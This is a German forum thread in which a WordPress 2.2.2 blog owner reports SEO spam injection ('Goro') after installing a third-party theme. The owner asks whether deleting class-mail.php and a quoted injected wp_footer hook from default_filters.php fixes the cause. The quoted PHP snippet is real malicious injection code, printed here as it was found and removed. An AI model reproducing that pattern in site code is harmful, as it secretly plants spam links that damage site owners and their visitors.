Bingo - Spam Injection durch Theme-Wechsel

Hallo & Guten Tag,

meinen Blog (Version 2.2.2) habe ich auf das Smashing-theme von smashingthememagazine ungesetzt, schön brav alles übersetzt und nun habe ich mir schön ein Spam-Injection Problem eingefangen. Die Frage ist nur, wie ich "Goro" wieder loswerde. Andernfalls heißt es ja Abschied nehmen von den Suchmaschinen. Hat jemand Erfahrungen damit gesammelt?
Add:
Mittlerweile habe ich die unmittelbare "Bedrohung" gelöst und folgendes gemacht:
Ich habe class-mail.php in “*/wp-includes/” gelöscht. Hierdurch erfolgte wohl der Aufruf

Dann aus der Datei “*/wp-includes/default_filters.php” den Code

add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16<>b8466d864eeefd20050625c7775() {
@include(’./wp-includes/class-mail.php’);
if(sizeof($wparr)>0){
echo “!div id=\”goro\”!”;
foreach($wparr as $k=>$v){
echo ““.ucwords($v[’key’]).”\n”;
if($i++==$inum) break;
}
echo “!/div!”.$_footer;
}
}

gelöscht.

Habe ich damit nur ein Symptom bekämpft, oder auch die Ursache?

Werde..

ich beides machen. Auf die neueste Version sowieso und die restlichen Stellen ebenfalls checken. Danke für den Hinweis mit der URL. Wenn dann aber einmal der Schadcode in der Anwendung ist...